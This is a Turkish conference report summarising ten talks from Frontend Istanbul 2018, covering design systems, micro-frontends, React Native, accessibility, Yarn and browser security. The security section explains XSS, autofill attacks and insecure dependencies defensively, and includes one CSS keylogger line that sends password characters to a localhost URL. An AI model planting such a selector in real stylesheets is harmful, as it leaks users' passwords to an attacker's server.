Frontend Teknolojileri Konferansı - İstanbul 2018

Giriş

Frontend İstanbul adıyla da bilinen Frontend Teknolojileri Konferansının birincisi, 30 Haziran 2018 tarihinde Boğaziçi Üniversitesi Uçaksavar Kampüsü Ayhan Şahenk Salonunda gerçekleştirildi. Farklı disiplinlerden değerli konu ve konuşmacıların yer aldığı bu konferansa Etiya olarak biz de katılım gerçekleştirdik. Konferanstan alınan kısa notları ve edinilen izlenimleri aşağıda bulabilirsiniz.

Notlara bazı kişisel yorumlar ekledim ve italik yazıtipi ile gösterdim. Bunlar şahsi fikirlerimdir, yanlışlar içerebilir, hiçbir şekilde konuşmacılar, Frontend İstanbul organizasyonu veya Etiya ile ilişkilendirilmemelidir.

Faydalı olması dileğiyle,

Levent Arman Özak

Konuşmalardan Kısa Notlar

1. Design System: Yaşayan ürünler için ölçeklenebilir tasarım
2. Önyüzde Mikro-Mimari
3. "Yükleniyor...": Karmaşık bekleme deneyimleri nasıl yönetilir?
4. Merkezsizleştirilmiş Uygulamalar ile Peer-to-Peer Web
5. Expo SDK ve React Native ile Mobil Uygulama Geliştirme
6. Erişilebilir Web Deneyimi Oluşturmak
7. RxJS - Gerçek Yaşamdan Örnekler
8. Ölçeklenebilir Modern Paket Yönetimi ve Yarn
9. State Machine: Dinamik, Konfigüratif, Bağımsız “Frontend”
10. Tarayıcı Perspektifinden Güvenlik

1. Design System: Yaşayan ürünler için ölçeklenebilir tasarım

Çağkan Aksun Yüksel Managing Partner, Maarifa UX & Consultancy

• UX öldü diyenler var. Ölmedi; biçim değiştirdi.
• UX demek tasarım demek değil.
• Frontend demek sadece web veya mobil demek de değil.
• AR, VR, sesle kontrol, headless arayüzler geliyor. IoT yaygınlaşıyor.
• JavaScript kodunuz yakın zamanda sadece tarayıcıda değil, her yerde çalışacak.
• Kapsamlı dokümantasyon ile 3 kişilik bir UX ekibi 30 kişilik 5 development takımının ihtiyaçlarını karşılayabiliyor.
• Bunu statik dökümanlarla yapmak mümkün değil. Statik doküman demek, ölü doküman demek; dahası sonradan güncelleme ihtiyacından ötürü zombi doküman demektir.
• DevOps <—> DesignOps <—> UXops UXops uydurma bir terim; ancak istenen vurguyu güzel yapıyor.
• Design System yaşayan bir üründür. Çok sayıda çıktısı vardır ve bunlar sahibine göre değişir; ancak style guide ve komponent kütüphanesini barındırması yaygındır.
• Bazı iyi örnekler: Polaris (Shopify), Predix (GE), Lightning (Salesforce). Etiya olarak Serdoo Shopify entegrasyonunda Polaris ile deneyimimiz mevcut. Bir design system uygulandığında geliştirici üzerindeki yükün azaldığına şahit olduk.
• DesignSystem her ne kadar “silver bullet” değilse de, bir organizasyona bilişim dünyasının hızlı rekabet ortamında avantaj sağlayacaktır.

2. Önyüzde Mikro-Mimari

Yaprak Ayazoğlu Frontend Developer, Bol.com

Frontend projelerinde monolit mimari aşağıdaki sorunları barındırmaktadır:

• Kodun başka projelerde yeniden kullanımı ya mümkün olmamaktadır; ya da zahmetlidir.
• Takımlar bağımsız çalışamamaktadır.
• Yeni fikirler kolay adapte edilememektedir.
• Eski teknolojiyle yazılmış bir projede yapıyı bozmadan yeni teknoloji kullanılamamaktadır.
• Var olan kullanıcıları etkilemeden değişiklik yapmak zordur.
• A/B testing gibi ihtiyaçları gidermek ekstra efor ister.

Mikro-frontend bir web uygulamasının ufak özellik kümelerine bölünüp her bir özelliğin ayrı bir takım tarafından baştan sona geliştirebilmesini sağlayan mimaridir.

• URL'lerden faydalanarak monolit bir yapıyı micro-frontend mimarisine geçirmek mümkündür.
• İdeal yapıda micro-frontend parçacıklarının birbirinden bihaber olması beklenir.
• Session tutulmaz.
• Single Sign On (SSO) kritik önem taşır. Bağımsız parçacıkların bir arada çalışmasının sağlar.
• Framework agnostic (bağımsız) çalışmalar yapılması mümkün hale gelir.

Mikro-frontend modelinin getirdiği sıkıntılar da vardır:

• Tek uygulama ile aynı kullanıcı deneyimini yakalamak kıyasla zordur.
• Ortak kütüphanelerin geliştirilmesi tartışmalı geçer ve uzun sürebilir.
• Authentication problem yaratabilir. SSO çözüyor bunu.
• Donanım seviyesinde sıkıntılar doğabilir. Burada sistemcilere ek iş yükü çıkabileceği kast ediliyor.
• SEO (Arama Motoru Optimizasyonu) açısından sorunlu. Server-side rendering yapılmadığı sürece bu sorun zaten var.

3. "Yükleniyor...": Karmaşık bekleme deneyimleri nasıl yönetilir?

Fatih Kadir Akın Full-Stack Developer, Protel

• Yükleniyor yazısını çok uzun süre göstermek bir problem; ama göstermemek daha büyük problem.

• Yükleniyor <--> Bekleme

• Bekleme kavramı dört başlıkta incelenebilir:

  • Kapsam
    • Tüm uygulama seviyesinde
    • Komponent seviyesinde
  • Belirlilik
    • Sonu belli (tahmini de olsa)
    • Sonu belirsiz
  • Etkileşim
    • Kullanıcı engelleniyor
    • Sayfa interaktif
  • Algısal
    • Reel süre (gerçek)
    • Sanal (psikolojik) - Bazen de beklemeyi bekliyor kullanıcı, o yüzden "yükleniyor" çıkarıyoruz.

• Yükleyici tipleri şöyle:

  • Splash Screen 1: Tüm uygulama, belirli süre, engelleyen (örn. bilgisayar oyunları)
  • Splash Screen 2: Tüm uygulama, belirsiz süre, engelleyen (örn. mobil uygulamalar)
  • Top Loader: Tüm uygulama, belirli süre, interaktif (örn. YouTube)
  • Activity Indicator: Tüm uygulama, belirsiz süre, interaktif (örn. iOS remote data indicator)
  • Progress Bar: Komponent seviyesinde, belirsiz süre, interaktif (örn. tarayıcı indirmeleri)
  • Progress Text: Komponent seviyesinde, belirli süre, interaktif (örn. inline download)
  • Ghost Loader: Komponent seviyesinde, belirsiz süre, engelleyen (örn. Slack)

• Optimistic Rendering: Önce DOM'a ekleyip gösteriyoruz; eğer istek başarısız olursa DOM'dan kaldırıyoruz.

• Yükleyicileri sayfalarınıza teker teker eklemek zahmetlidir ve kod kirliliği yaratır.

• Uygulamanızdaki yükleyicileri merkezi bir şekilde yönetmeniz hem geliştirme hem de bakım açısından avantaj sağlar.

• Bunun için geliştirilmiş kütüphaneler mevcut. (örn. vue-wait)

4. Merkezsizleştirilmiş Uygulamalar ile Peer-to-Peer Web

Barış Güler Senior Frontend Developer, Blacklane GmbH

• Web, insanların bir paylaşım yapmak için sunucu ve yazılımcı gibi aracılara ihtiyaç duyduğu bir ortam olmamalıdır.
• Bu niyetle DAT protokolü geliştirilmiştir. Güvenlidir. Git versiyon kontrol sistemi ve torrent istemcileri model alınmış.
• HTTP protokolüyle yayınlayabileceğiniz tüm içeriği DAT protokolüyle de yayınlayabilirsiniz. Merak edenler için açıklayayım: WebSocket bambaşka bir protokol.
• DAT protokolünü destekleyen bir tarayıcı mevcut: Beaker Browser. Ayrıca DAT CLI veya cross-platform DAT masaüstü uygulaması ile de içerik oluşturup anında yayına başlayabilir, yayınlanan bir kaynağı klonlayabilirsiniz.
• Bilgisayarınız hiçbir ayar gerektirmeden sunucu haline gelmektedir.
• Yazılım bilmeksizin dosya ve içerik paylaşımı yapılabilmektedir. Yine de Markdown bilmekte fayda var. En azından benim gözlemim bu yönde.
• Beaker Browser arayüzünü kullanarak site oluşturduğunuzda şununç gibi bir link oluşmaktadır: dat://105418b4d62f428233c8232fc8142f87937bcf384c01aca07c8eb8810ed6e028
• Üretilen benzersiz hash'i paylaştığınız kişiler peer olmakta ve paylaşılan içeriğe ulaşabilmektedir.
• İçerik peer cihaza kaydedildiği için offline da ulaşılabilir hale gelmektedir.
• Kaynak cihaz kapatıldığında içerik indirilemez hale gelir, ancak offline erişim devam eder.
• Eğer cihazınız kapandığında dahi içeriğin erişilebilir olmasını istiyorsanız, DAT protokolünü destekleyen Hashbase gibi bir mirror sunucu hizmetinden yararlanabilirsiniz. Örneğin Hashbase'den şunu elde edebilirsiniz: dat://sub-domain.hashbase.io. Hatta bu notlar Beaker'da yaratıldı, şu an Hashbase üzerinden sunulmakta ve SSL varsayılan olarak hazır geliyor. Ayrıca kişisel sunucunuza Homebase kurarak da yayın yapabilirsiniz.
• Kaynak içerik güncellendiğinde, kaynak ve peer cihaz online iken, peer içerik sadece diff çekilerek güncellenir. Sadece değişiklikler çekildiği için hem hızlı, hem de daha az bant genişliği tüketiyor.
• Dat API'ını NodeJS'le kullanmak için geliştirilmiş kütüphaneler var. (örn. dat-js, dat-node)
• Başka yardımcı kütüphane örnekleri:
  • WebDB: DAT siteler için veritabanı
  • HyperDB: Genişleyebilen dağıtık veritabanı
  • HyperDrive: Güvenli gerçek zamanlı dağıtık dosya sistemi
  • HyperCore: Güvenli gerçek zamanlı dağıtık log
  • Discovery Swarm: Peer bulup bağlanma

5. Expo SDK ve React Native ile Mobil Uygulama Geliştirme

Sezgi Şensöz Lead Front-end Developer, Tuttur.com

Avantajları:

• React Native, React uygulamalarında olduğu gibi JavaScript yazarak geliştirilir. Yani, web geliştiriciyseniz, alışık olduğunuz dili kullanırsınız.
• Tek framework kullanarak hem web, hem de mobilde kullanabileceğiniz bir uygulama yazabilirsiniz.
• Neredeyse native uygulamalar kadar yüksek performans verir.
• Daha hızlı geliştirme yapılabilir; çünkü Hot Reloading özelliği sayesinde, native geliştirme ortamının aksine, sonucu görmek için deploy gerekmez. Ön yüz geliştirmede kullandığımız hot module replacement (HMR) üzerine kurgulanmıştır.
• Community çok geniş olduğu için gerek know-how, gerekse çözüm bulmak kolaydır.
• CLI var ve sizin için projenizin hem iOS hem de Android ayarlarını yapabiliyor.

Dezavantajları:

• Yeni bir özellik çıktığında, Facebook'un bu özelliği React Native'e eklemesini beklemeniz gerekecektir.
• Google ve Apple farklı tasarım sistemlerine sahiptir ve tek bir codebase kullandığınızda birini seçmeniz gerekir, ki bu ötekinde uygulamanızın sırıtabileceği anlamına gelir.
• Büyük oranda desteklenmekle birlikte, tüm native özellikler desteklenmiyor.
• Bazen kullanılacak 3. parti kütüphanelere karar vermek gerekiyor.
• Performans çok yakınsa da %100 aynı değil.

Expo Kullanmanın Avantajları

• Ücretsiz
• Açık kaynak kodlu, sürekli gelişiyor
• XDE isimli özelleşmiş bir IDE sağlıyor
• SDK var, geniş bir Native API kütüphane yelpazesi sunuyor
• Snack isimli bir emülatör sağlıyor, yayına almadan önizleme yapabiliyorsunuz
• CLI sağlıyor, uygulamanızı kolayca build edip, yayına alabiliyorsunuz
• QR Code veya SMS yoluyla yayınlanan uygulamanızı paylaşabiliyorsunuz
• Updateler için de yardımı oluyor
• Eğer Expo'da bulunmayan bir kütüphaneye ihtiyaç varsa "detach" özelliğiyle aradan çıkıyor

Expo'nun Dezvantajları

• Background code execution yok
• Native API'ların çoğu varsa da tamamı mevcut değil
• Dosya boyunu Android'de yaklaşık 20MB, iOS'ta ise yaklaşık 33MB artırıyor

6. Erişilebilir Web Deneyimi Oluşturmak

Ayhan Döşlü Co-Founder, Simpux

• Web Erişilebilirliği --> Engelli kullanıcılar için de nitelikli web deneyimi oluşturma
• Dünya nüfusunun %15'i engelli. Bu 1.1 milyar kişinin (Çin 1.3 milyar) engelli olduğu anlamına geliyor.
• Engelliliğin çeşitleri var. Web erişilebilirliğinde hedeflenen daha çok görme engeli ve cihaz kullanımına engel fiziksel zorlukları olan insanların deneyimini artırmak.
• 320 milyon kişi görme engelli.
• 40 milyon kişi ise görme yetisinden tamamen yoksun.
• W3C tarafından accessibility guidelineları oluşturulmuş durumda
  • WCAG 2.0
  • WAI-ARIA 1.1
• HTML etiketlerinin bir çoğunun semantik karşılıkları var ve bunlar tarayıcı tarafından ekran okuyuculara (screen reader) doğru şekilde tarif ediliyor.
• HTML etiketlerini amacı dışında kullandığımızda, ekran okuyuculara bu tarifleri ayrıca vermek gerekiyor. ChromeVox eklentisini kurarak sayfalarınızı test edebilirsiniz.
• Dikkat edilmesi gereken diğer bazı hususlar ise şöyle:
  • img etiketlerine mutlaka alt özelliğini ekleyin.
  • Linkleri "buraya tıklayın" şeklinde isimlendirmek yerine, neyle ilgili olduğunu belirtecek şekilde isimlendirin.
  • Büyük ve okunaklı yazıtipleri kullanın.
  • Satır yüksekliklerini düşük tutmayın.
  • Düşük kontrasttan kaçının.
  • Tamamı büyük harften oluşan metinlerden kaçının.
  • Sadece renge güvenmeyin. Renk körü çok fazla insan var. Renk körlüğünün çok da çeşidi var. Coolors kullandığınız renklerin renk körlüğü durumunda nasıl görüneceği hakkında bir fikir verecektir. Göz ikonuna tıklayın.
  • Sayfada, hiyerarşik olarak üstte kalan menüler, ekran okuyucuların ana içeriğe ulaşmasına engel oluyor. Görünmeyen bir "Skip to Main Content" tuşu koyun ve kullanıcının menüyü atlayarak alt kısımlara ulaşmasını sağlayın.
  • Görme engelli birinin sayfada Tab tuşunu kullanarak elemanlara focus yapacağını ve bu yöntemle interaktif olacağını unutmayın.

7. RxJS - Gerçek Yaşamdan Örnekler

Fatma Tanrısevdi Lead Frontend Developer, Armut.com

• Reaktif programlama kodun adım adım işleyişine dayanan sırasal programlama yerine olaylara (event) tepkiler vermeye dayanan programlamadır.
• RxJS, reaktif programlamanın en bilinen ve yaygın API'ı Reactive Extensions'ın JavaScript kütüphanesidir.
• Operatörler RxJS'in en güçlü yanıdır. 100'ün üzerinde operatör mevcuttur.
• filter, map, switchMap, forkJoin gibi operatörler aracılığıyla veri ve olay akışlarını kullanmadan önce dönüşüme uğratabiliriz.
• Aynı şekilde, delay, debounceTime, throttleTime gibi operatörleri kullanarak gerçekleşen olaylara ne zaman tepki vereceğimizi de belirleyebiliriz.

8. Ölçeklenebilir Modern Paket Yönetimi ve Yarn

Burak Yiğit Kaya Frontend Engineer, Facebook

• Projelerimizde tekerleği yeniden icat etmemek adına dış paketler kullanıyoruz.

• Bağımlılık: Uygulamanızın çalışması veya derlenmesi için ihtiyaç duyduğunuz her dış paket bir bağımlılıktır.

• Bağımlılıkları yönetmek şöyle özetlenebilir:

  • Gerekli dosyaları edinmek
  • Kaynağı bir listeye eklemek
  • Alt bağımlılıkları edinmek ve kayıt altına almak
  • Güncellemeleri yönetmek

• Semver (Semantik Versiyonlama): örnek: v4.1.3

  • Ana Sürüm: Geriye dönük uyumsuz özellikler barındırır. v4'te v3'teki bazı özellikler olmayabilir veya aynı şekilde çalışmayabilir.
  • Alt Sürüm: Geriye dönük uyumludur, ama yeni özellikleri de barındırır. v4.0'da olmayan bazı özellikler v4.1'de vardır. Tersi beklenmez.
  • Yama: Son alt sürüme göre küçük iyileştirmeleri içerir. v4.1.3'ün, v4.1.0'a kıyasla birçok iyileştirme içermesi beklenir.

• Semver sürümlemeye belli bir standart getirmektedir; ancak sürümleri belirleyen sonuçta insandır; dolayısıyla sürüm numaraları öznel ve hataya açıktır.

• Bağımlılıkları belli bir sürüme sabitlemek ilerlemeye ve güncellemeye engeldir. Ayrıca tüm bağlı paketlerin uymasını gerektirir.

• Paket yöneticisine kabul edilebilir sürümleri belirtmek için aralıklar kullanılabilir. En yaygın iki kullanım şu şekildedir:

  • ^1.2.3 --> Ana sürümü değiştirme, yeni alt sürüm ve yamaları kullanabilirsin
  • ~1.2.3 --> Sadece yeni yamaları kullanabilirsin. Ana sürümü ve alt sürümü değiştirme.

• Projedeki paketlerin aynı paketin farklı versiyonlarına ihtiyaç duyması paket yöneticisinin çözmesi gereken bir problem. Çözüm olarak şunlar uygulanabilir:

  • Hepsine aynı sürüm verilir; ama bu problemlere sebep olabilir.
  • Hepsine istediği sürüm verilir ve bu kesinlikle çalışır; ama bellek ve disk israfıdır.

• İyi bir paket yöneticisi aşağıdakileri yapar:

  • Sürüm aralıklarından sabit sürümlerin çıkarımı
  • Bağımlılıkların bağımlılıklarının yönetimi
  • Bağımlılık ağacının iyileştirilip optimize edilmesi
  • Tutarsızlıkların önüne geçilmesi
  • Gerekli dosyaların indirilip kurulması Tabi, mümkünse, hızlı olması da lazım.

• İlk npm:

  • Tek bir paketi kurmaya odaklıydı; ağaç yönetimi yoktu.
  • Paralellik ve hız düşüktü.
  • Paket kurulum sırası sonucu değiştiriyordu.

• Yarn paketleri şöyle yönetiyor:

  • Önce paketlerin meta verilerini indirip alt bağımlılıkları öğreniyor, ağacı çıkarıyor.
  • Paralel bir şekilde paketleri indirip package.json'a ekliyor.
  • Kurulumu gerçekleştiriyor.
  • Son olarak yarn.lock dosyasına çözümlenmiş sürümleri kaydediyor.

• yarn.lock dosyası:

  • Tüm ağacı değil, çözümlenmiş sürümleri tutuyor.
  • package.json'a hala ihtiyaç duyuyor.
  • Ana sürümler arasında tutarlı.
  • İnsan odaklı, okunaklı.

• Yarn'da Selective Version Resolution isimli bir özellik var:

  • Forklamadan bir paketin alt bağımlılık olarak hangi sürümü kullanacağı işaret edilebiliyor.
  • package.json altında "resolutions" isimli bir özellik (property) içerisinde tanımlanıyor.
  • Acil güvenlik yamaları için çok faydalı. Bir paketin alt paketin yayınladığı bir yamayı da alıp release olmasını beklemek gerekmiyor. Sırf bu özellik için Yarn kullanılır.

• Yarn, Workspaces özelliği ile monorepolarda da verimli ve hızlı çalışıyor. _Detaylar için Yarn Workspaces hakkındaki tanıtım yazısını okuyabilirsiniz.

9. State Machine: Dinamik, Konfigüratif, Bağımsız “Frontend”

Volkan Alay Co-Founder, Proto Yazılım

• Günümüz frontendinde şunları görüyoruz:
  • Tek sayfa uygulamalar (SPA)
  • Bileşen tabanlı mimari (Component-based Architecture)
  • İstemci taraflı veri yönetimi (Client-side Data Management)
• SPA, kullanıcının tek sayfa üzerinden tüm ihtiyaçlarını karşılayan ve işlemler arası kullanıcı deneyimini ön plana alan bir yaklaşım. Buradaki tek sayfa kavramı tartışılır. "SPA, tek sayfada çalışmaktan öte, masaüstü uygulamalarındaki veya mobil uygulamalardaki gibi bir deneyimi web üzerinden sunmak adına, HTTP yönlendirmeleri ile sayfalar arası gezinme ve her geçişte topyekun HTML render etme yerine, AJAX ile dinamik güncellemelere ve DOM'da kısmi manipülasyona dayanan; buna karşın çok sayfalı tam bir gezinme deneyimini de sanal olarak yaratabilen bir web uygulaması geliştirme metodolojisidir." diyebiliriz.
• Bileşen tabanlı mimari, uygulamanın ihtiyacı olan fonksiyonları sağlamak için çok sayıda alt fonksiyonu birleştirmeye dayanan geliştirmedir.
• İstemci taraflı veri yönetimi, gerektiğinde içte ve dışta (sunucuya yapılan isteklerde) kullanmak üzere, verileri belli bir yapıda istemci tarafında tutmaktır.
• Modern uygulamaların karmaşık olmasından ötürü bu mimarinin yetersiz kalabildiği görülmektedir.
• State Machine: Hem istemci, hem de sunucu tarafında, statik süreçleri ortadan kaldıran yönetimsel bir katmandır.
• State machine yapı taşları şunlardır:
  • States
  • StartAt
  • Version
  • TimeoutSeconds
• State machine konfigüratif bir şekilde akışı kontrol edebilmemizi sağlar.
• Transition: İki state arası geçişi tarif eder.
• Payload: İki state arasında aktarılan veriyi tanımlar.
• Path: State'in dinamik veriye erişimini kurgular.
• Next: Sonraki state'i işaret eder.
• 6 state tipi vardır:
  • Task: State Machine tarafından yapılacak tek bir işi temsil ediyor.
  • Choice: State Machine'in koşula bağlı bir iş yapacağını ifade ediyor.
  • Wait: State Machine'in bir süre için bekleyeceğini gösteriyor.
  • Succeed: Yürütmeyi başarı olarak işaretleyerek sonlandırır.
  • Fail: Yürütmeyi hata olarak işaretleyerek sonlandırır.
  • Parallel: Yürütmeyi eş zamanlı dallara ayırmaya ve paralel işlem gerçekleştirmeye yarıyor.
  • Amazon 7. bir tane tanımlıyor: Pass
• State Machine kullanmak, süreçlerin ve akışın kullanıcıyla etkileşimi sağlayan frontend kodundan ayrılmasını, böylece frontend koduna müdahale etmeksizin dinamik bir şekilde süreçlerde değişiklik yapılabilmesini sağlar. Frontend uygulamasının her adımda istekte bulunup "Bir sonraki state nedir?" diye sormasının performansa etkisi değerlendirilmelidir.

10. Tarayıcı Perspektifinden Güvenlik

Ömer Çıtak Security Researcher, Netsparker

• Tarayıcılar şöyle çalışıyor:
  • İstemci ile sunucu arasında SSL handshake yapılıyor.
  • HTTP isteği hazırlanıyor.
  • HTTP cevabı çözümleniyor.
  • Cache
• Cookie'lerde iki flag var:
  • Secure Flag --> Bu cookie sadece TLS üzerinden isteklerde geçerlidir.
  • HTTP-only Flag --> Bu cookie'ye JavaScript ile ulaşılamasın.
• XSS ile:
  • Session hijacking yapılabiliyor.
  • Kullanıcıyı yanıltacak şekilde script yüklenebiliyor.
  • CSRF token çalınabiliyor.
  • Cryptocoin mining yapılabiliyor.
  • Aslına bakarsanız JavaScript ile yapılabilen her şey yapılabiliyor.
• Backendden alınan cevabı ekrana basarken şu unutulmamalı: Valide edilemeyen bir inputa XSS yapmaya yönelik bir giriş yapılmış ve kayıt altına alınmış olabilir. Ayrıca content security policy (CSP) XSS'e karşı önemli bir önlem.
• Frameworkler bazı araçlar sağlıyor; ancak VueJS örneğinde olduğu gibi kusurlar bulunabiliyor. Sanitization manuel olarak by-pass edilebiliyor; ama yapılmamalı.
• CSS ile keylogger oluşturmak mümkün. Dolayısıyla nereden sitil dosyası yüklendiğine dikkat edilmeli.
  input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a") }
• Sub-resource Integrity: Onun hacklenme ihtimaline karşı, uzak sunucudan resource çekerken hash karşılaştırması yapmak.
• Autofill Attack: Browser hidden olan inputları da otomatik olarak dolduruyor! Kötü niyetli bir uygulama, size fark ettirmeden vermeyi istemediğiniz bilgilerinizi de çalabilir.
• Client-side Filtering: Browser XHR ile çakilen verileri gizlemez. Sunucudan gereksiz verileri çekip frontendde filtreleyerek hassas bilgiler açık edilmemeli.
• Insecure Dependencies: Kurduğumuz paketin bağımlı olduğu başka bir paketin içerisinde kötü niyetli yazılım barınıyor olabilir. Bununla ilgili snyk.io ve OSS Index gibi hizmetler mevcut.